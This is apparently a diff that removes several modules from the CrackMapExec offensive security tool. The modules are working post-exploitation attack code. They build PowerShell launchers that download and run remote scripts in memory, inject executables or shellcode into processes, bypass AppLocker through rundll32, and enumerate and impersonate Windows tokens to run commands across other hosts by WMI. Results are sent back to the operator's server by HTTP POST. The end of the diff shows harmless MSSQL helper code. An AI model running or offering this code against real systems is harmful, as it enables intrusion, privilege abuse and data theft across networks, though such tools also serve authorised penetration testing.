||||||
|
|
||||||
def on_response(self, context, response):
|
|
||||||
response.send_response(200)
|
|
||||||
response.end_headers()
|
|
||||||
length = int(response.headers.getheader('content-length'))
|
|
||||||
data = response.rfile.read(length)
|
|
||||||
|
|
||||||
#We've received the response, stop tracking this host
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
if len(data):
|
|
||||||
def print_post_data(data):
|
|
||||||
buf = StringIO(data.strip()).readlines()
|
|
||||||
for line in buf:
|
|
||||||
context.log.highlight(line.strip())
|
|
||||||
|
|
||||||
print_post_data(data)
|
|
||||||
|
|
||||||
log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
||||||
write_log(data, log_name)
|
|
||||||
context.log.info("Saved output to {}".format(log_name))
|
|
|
@ -1,86 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
|
||||||
from sys import exit
|
|
||||||
import os
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
name = 'pe_inject'
|
|
||||||
|
|
||||||
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
PATH Path to dll/exe to inject
|
|
||||||
PROCID Process ID to inject into (default: current powershell process)
|
|
||||||
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'PATH' in module_options:
|
|
||||||
context.log.error('PATH option is required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
self.payload_path = os.path.expanduser(module_options['PATH'])
|
|
||||||
if not os.path.exists(self.payload_path):
|
|
||||||
context.log.error('Invalid path to EXE/DLL!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
self.procid = None
|
|
||||||
self.exeargs = None
|
|
||||||
|
|
||||||
if 'PROCID' in module_options:
|
|
||||||
self.procid = module_options['PROCID']
|
|
||||||
|
|
||||||
if 'EXEARGS' in module_options:
|
|
||||||
self.exeargs = module_options['EXEARGS']
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = """
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
|
||||||
$WebClient = New-Object System.Net.WebClient;
|
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
|
|
||||||
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip,
|
|
||||||
pefile=os.path.basename(self.payload_path))
|
|
||||||
|
|
||||||
if self.procid:
|
|
||||||
launcher += ' -ProcessID {}'.format(self.procid)
|
|
||||||
|
|
||||||
if self.exeargs:
|
|
||||||
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
|
|
||||||
|
|
||||||
return create_ps_command(launcher, force_ps32=True)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
|
|
||||||
request.wfile.write(launcher)
|
|
||||||
|
|
||||||
elif os.path.basename(self.payload_path) == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.stop_tracking_host()
|
|
||||||
|
|
||||||
with open(self.payload_path, 'rb') as payload:
|
|
||||||
request.wfile.write(payload.read())
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
|
@ -1,104 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
|
||||||
from StringIO import StringIO
|
|
||||||
from datetime import datetime
|
|
||||||
from sys import exit
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Wrapper for PowerView's functions
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'powerview'
|
|
||||||
|
|
||||||
description = "Wrapper for PowerView's functions"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND or CMDFILE options are required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
|
||||||
self.command = module_options['COMMAND']
|
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
|
||||||
self.command = cmdfile.read().strip()
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
powah_command = command + ' | Out-String'
|
|
||||||
|
|
||||||
launcher = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
|
|
||||||
$data = {command}
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip,
|
|
||||||
command=powah_command)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher, methods=['smbexec', 'atexec'])
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'PowerView.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
def on_response(self, context, response):
|
|
||||||
response.send_response(200)
|
|
||||||
response.end_headers()
|
|
||||||
length = int(response.headers.getheader('content-length'))
|
|
||||||
data = response.rfile.read(length)
|
|
||||||
|
|
||||||
#We've received the response, stop tracking this host
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
if len(data):
|
|
||||||
def print_post_data(data):
|
|
||||||
buf = StringIO(data.strip()).readlines()
|
|
||||||
for line in buf:
|
|
||||||
context.log.highlight(line.strip())
|
|
||||||
|
|
||||||
print_post_data(data)
|
|
||||||
|
|
||||||
log_name = 'PowerView-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
||||||
write_log(data, log_name)
|
|
||||||
context.log.info("Saved output to {}".format(log_name))
|
|
|
@ -1,55 +0,0 @@
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
AppLocker bypass using rundll32 and Windows native javascript interpreter
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'rundll32_exec'
|
|
||||||
|
|
||||||
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
|
|
||||||
|
|
||||||
#If the module supports chaining, change this to True
|
|
||||||
chain_support = True
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND or CMDFILE options are required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
|
||||||
self.command = module_options['COMMAND']
|
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
|
||||||
self.command = cmdfile.read().strip()
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
command = command.replace('\\', '\\\\')
|
|
||||||
command = command.replace('"', '\\"')
|
|
||||||
command = command.replace("'", "\\'")
|
|
||||||
|
|
||||||
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
|
|
||||||
return launcher
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
return
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed command')
|
|
|
@ -1,78 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
|
||||||
from sys import exit
|
|
||||||
import os
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
name = 'shellcode_inject'
|
|
||||||
|
|
||||||
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
PATH Path to the raw shellcode to inject
|
|
||||||
PROCID Process ID to inject into (default: current powershell process)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'PATH' in module_options:
|
|
||||||
context.log.error('PATH option is required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
self.shellcode_path = os.path.expanduser(module_options['PATH'])
|
|
||||||
if not os.path.exists(self.shellcode_path):
|
|
||||||
context.log.error('Invalid path to shellcode!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
self.procid = None
|
|
||||||
|
|
||||||
if 'PROCID' in module_options.keys():
|
|
||||||
self.procid = module_options['PROCID']
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = """
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
|
|
||||||
$WebClient = New-Object System.Net.WebClient;
|
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
|
|
||||||
Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip,
|
|
||||||
shellcode=os.path.basename(self.shellcode_path))
|
|
||||||
|
|
||||||
if self.procid:
|
|
||||||
launcher += ' -ProcessID {}'.format(self.procid)
|
|
||||||
|
|
||||||
return create_ps_command(launcher, force_ps32=True)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
elif os.path.basename(self.shellcode_path) == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
with open(self.shellcode_path, 'rb') as shellcode:
|
|
||||||
request.wfile.write(shellcode.read())
|
|
||||||
|
|
||||||
#Target has the shellcode, stop tracking the host
|
|
||||||
request.stop_tracking_host()
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
|
@ -1,198 +0,0 @@
|
||||||
from StringIO import StringIO
|
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
|
||||||
from base64 import b64encode
|
|
||||||
import sys
|
|
||||||
import os
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
|
|
||||||
'''
|
|
||||||
This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials:
|
|
||||||
|
|
||||||
1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated
|
|
||||||
2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs)
|
|
||||||
3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI.
|
|
||||||
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'token_rider'
|
|
||||||
|
|
||||||
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
|
|
||||||
|
|
||||||
chain_support = True
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
TARGET Target machine(s) to execute the command on (comma seperated)
|
|
||||||
USER User to impersonate
|
|
||||||
DOMAIN Domain of the user to impersonate
|
|
||||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'TARGET' in module_options or not 'USER' in module_options or not 'DOMAIN' in module_options:
|
|
||||||
context.log.error('TARGET, USER and DOMAIN options are required!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND or CMDFILE options are required!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
self.target_computers = ''
|
|
||||||
self.target_user = module_options['USER']
|
|
||||||
self.target_domain = module_options['DOMAIN']
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
|
||||||
self.command = module_options['COMMAND']
|
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
|
||||||
self.command = cmdfile.read().strip()
|
|
||||||
|
|
||||||
targets = module_options['TARGET'].split(',')
|
|
||||||
for target in targets:
|
|
||||||
self.target_computers += '"{}",'.format(target)
|
|
||||||
self.target_computers = self.target_computers[:-1]
|
|
||||||
|
|
||||||
#context.log.debug('Target system string: {}'.format(self.target_computers))
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
second_stage = '''
|
|
||||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
|
|
||||||
addr=context.localip,
|
|
||||||
port=context.server_port)
|
|
||||||
context.log.debug(second_stage)
|
|
||||||
|
|
||||||
#Main launcher
|
|
||||||
launcher = '''
|
|
||||||
function Send-POSTRequest {{
|
|
||||||
[CmdletBinding()]
|
|
||||||
Param (
|
|
||||||
[string] $data
|
|
||||||
)
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();
|
|
||||||
}}
|
|
||||||
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
|
||||||
$tokens = Invoke-TokenManipulation -Enum;
|
|
||||||
foreach ($token in $tokens){{
|
|
||||||
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
|
|
||||||
|
|
||||||
$token_desc = $token | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
|
||||||
$post_back = "Found token for user " + ($token.Domain + '\\' + $token.Username) + "! `n";
|
|
||||||
$post_back = $post_back + $token_desc;
|
|
||||||
Send-POSTRequest $post_back
|
|
||||||
|
|
||||||
Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {second_stage}";
|
|
||||||
return
|
|
||||||
}}
|
|
||||||
}}
|
|
||||||
|
|
||||||
Send-POSTRequest "User token not present on system!"'''.format(second_stage=b64encode(second_stage.encode('UTF-16LE')),
|
|
||||||
server=context.server,
|
|
||||||
addr=context.localip,
|
|
||||||
port=context.server_port,
|
|
||||||
user=self.target_user,
|
|
||||||
domain=self.target_domain)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
#This will get executed in the process that was created with the impersonated token
|
|
||||||
payload = '''
|
|
||||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
|
||||||
function Send-POSTRequest {{
|
|
||||||
[CmdletBinding()]
|
|
||||||
Param (
|
|
||||||
[string] $data
|
|
||||||
)
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();
|
|
||||||
}}
|
|
||||||
|
|
||||||
$post_output = "";
|
|
||||||
$targets = @({targets});
|
|
||||||
foreach ($target in $targets){{
|
|
||||||
try{{
|
|
||||||
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
|
|
||||||
$post_output = $post_output + "Executed command on $target! `n";
|
|
||||||
}} catch {{
|
|
||||||
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
|
|
||||||
}}
|
|
||||||
}}
|
|
||||||
Send-POSTRequest $post_output'''.format(server=context.server,
|
|
||||||
addr=context.localip,
|
|
||||||
port=context.server_port,
|
|
||||||
targets=self.target_computers,
|
|
||||||
command=command)
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher, methods=['smbexec', 'atexec'])
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
|
||||||
ps_script = obfs_ps_script(ps_script.read())
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
elif 'TokenRider.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
#Command to execute on the target system(s)
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
def on_response(self, context, response):
|
|
||||||
response.send_response(200)
|
|
||||||
response.end_headers()
|
|
||||||
length = int(response.headers.getheader('content-length'))
|
|
||||||
data = str(response.rfile.read(length))
|
|
||||||
|
|
||||||
if len(data) > 0:
|
|
||||||
|
|
||||||
if data.find('User token not present') != -1:
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
elif data.find('Executed command') != -1 or data.find('Error executing') != -1:
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
buf = StringIO(data.strip()).readlines()
|
|
||||||
for line in buf:
|
|
||||||
context.log.highlight(line.strip())
|
|
|
@ -1,118 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
|
||||||
from datetime import datetime
|
|
||||||
from StringIO import StringIO
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Enumerates available tokens using Powersploit's Invoke-TokenManipulation
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'tokens'
|
|
||||||
|
|
||||||
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
USER Search for the specified username in available tokens (default: None)
|
|
||||||
USERFILE File containing usernames to search for in available tokens (defult: None)
|
|
||||||
'''
|
|
||||||
|
|
||||||
self.user = None
|
|
||||||
self.userfile = None
|
|
||||||
|
|
||||||
if 'USER' in module_options and 'USERFILE' in module_options:
|
|
||||||
context.log.error('USER and USERFILE options are mutually exclusive!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
if 'USER' in module_options:
|
|
||||||
self.user = module_options['USER']
|
|
||||||
|
|
||||||
elif 'USERFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['USERFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to USERFILE invalid!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
self.userfile = path
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
|
||||||
$creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
def on_response(self, context, response):
|
|
||||||
response.send_response(200)
|
|
||||||
response.end_headers()
|
|
||||||
length = int(response.headers.getheader('content-length'))
|
|
||||||
data = response.rfile.read(length)
|
|
||||||
|
|
||||||
#We've received the response, stop tracking this host
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
if len(data) > 0:
|
|
||||||
|
|
||||||
def print_post_data(data):
|
|
||||||
buf = StringIO(data.strip()).readlines()
|
|
||||||
for line in buf:
|
|
||||||
context.log.highlight(line.strip())
|
|
||||||
|
|
||||||
context.log.success('Enumerated available tokens')
|
|
||||||
|
|
||||||
if self.user:
|
|
||||||
if data.find(self.user) != -1:
|
|
||||||
context.log.success("Found token for user {}!".format(self.user))
|
|
||||||
print_post_data(data)
|
|
||||||
|
|
||||||
elif self.userfile:
|
|
||||||
with open(self.userfile, 'r') as userfile:
|
|
||||||
for user in userfile:
|
|
||||||
user = user.strip()
|
|
||||||
if data.find(user) != -1:
|
|
||||||
context.log.success("Found token for user {}!".format(user))
|
|
||||||
print_post_data(data)
|
|
||||||
break
|
|
||||||
|
|
||||||
else:
|
|
||||||
print_post_data(data)
|
|
||||||
|
|
||||||
log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
||||||
write_log(data, log_name)
|
|
||||||
context.log.info("Saved output to {}".format(log_name))
|
|
55
cme/mssql.py
55
cme/mssql.py
|
@ -1,55 +0,0 @@
|
||||||
from impacket import tds
|
|
||||||
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
|
|
||||||
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
|
|
||||||
|
|
||||||
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
|
||||||
#The whole tds library in impacket needs a good overhaul to preserve my sanity
|
|
||||||
|
|
||||||
def printRowsCME(self):
|
|
||||||
if self.lastError is True:
|
|
||||||
return
|
|
||||||
out = ''
|
|
||||||
self.processColMeta()
|
|
||||||
#self.printColumnsHeader()
|
|
||||||
for row in self.rows:
|
|
||||||
for col in self.colMeta:
|
|
||||||
if row[col['Name']] != 'NULL':
|
|
||||||
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
|
|
||||||
|
|
||||||
return out
|
|
||||||
|
|
||||||
def printRepliesCME(self):
|
|
||||||
for keys in self.replies.keys():
|
|
||||||
for i, key in enumerate(self.replies[keys]):
|
|
||||||
if key['TokenType'] == TDS_ERROR_TOKEN:
|
|
||||||
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
|
|
||||||
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
|
||||||
self._MSSQL__rowsPrinter.error(error)
|
|
||||||
|
|
||||||
elif key['TokenType'] == TDS_INFO_TOKEN:
|
|
||||||
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
|
||||||
|
|
||||||
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
|
|
||||||
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
|
|
||||||
|
|
||||||
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
|
